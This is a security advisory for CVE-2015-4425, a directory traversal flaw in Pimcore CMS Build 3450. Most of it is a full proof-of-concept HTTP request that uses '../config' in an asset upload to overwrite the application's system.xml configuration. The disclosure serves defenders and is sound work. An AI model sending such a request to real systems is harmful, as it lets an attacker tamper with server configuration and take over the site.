Vulnerability title: Directory Traversal/Configuration Update In Pimcore CMS
CVE: CVE-2015-4425
Vendor: Pimcore
Product: Pimcore CMS
Affected version: Build 3450
Fixed version: Build 3473
Reported by: Josh Foote
Details:
It is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.
The following request can be used to update the ‘system.xml’ file of the web application:
POST /admin/asset/add-asset-compatibility/?parentId=1&dir=../config HTTP/1.1
Host: pimcore.com
Connection: keep-alive
Content-Length: 1502
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: multipart/form-data; boundary=--------2072505619
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: PHPSESSID=nnmupv1knofcpdgjdnivdr4v27; cookie-warn=true; _ga=GA1.2.1941920115.1426505099; pimcore_admin_sid=j79b6ad4afkjimslbj8l5ifuo4
----------2072505619
Content-Disposition: form-data; name="Filedata"; filename="system.xml"
Content-Type: application/xml
<?xml version="1.0"?>
<zend-config xmlns:zf="http://framework.zend.com/xml/zend-config-xml/1.0/">
<general>
<timezone>Europe/Berlin</timezone>
<language>en</language>
<validLanguages>en</validLanguages>
<debug>1</debug>
<debugloglevel>debug</debugloglevel>
<custom_php_logfile>1</custom_php_logfile>
</general>
<database>
<adapter>Mysqli</adapter>
<params>
<username>root</username>
<password>PASSWORD</password>
<dbname>pimcore</dbname>
<host>localhost</host>
<port>3306</port>
</params>
</database>
<documents>
<versions>
<steps>10</steps>
</versions>
<default_controller>default</default_controller>
<default_action>default</default_action>
<error_pages>
<default>/</default>
</error_pages>
<createredirectwhenmoved/>
<allowtrailingslash>no</allowtrailingslash>
<allowcapitals>no</allowcapitals>
<generatepreview>1</generatepreview>
</documents>
<objects>
<versions>
<steps>10</steps>
</versions>
</objects>
<assets>
<versions>
<steps>10</steps>
</versions>
</assets>
<services/>
<cache>
<excludeCookie/>
</cache>
<httpclient>
<adapter>Zend_Http_Client_Adapter_Socket</adapter>
</httpclient>
</zend-config>
Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4425/
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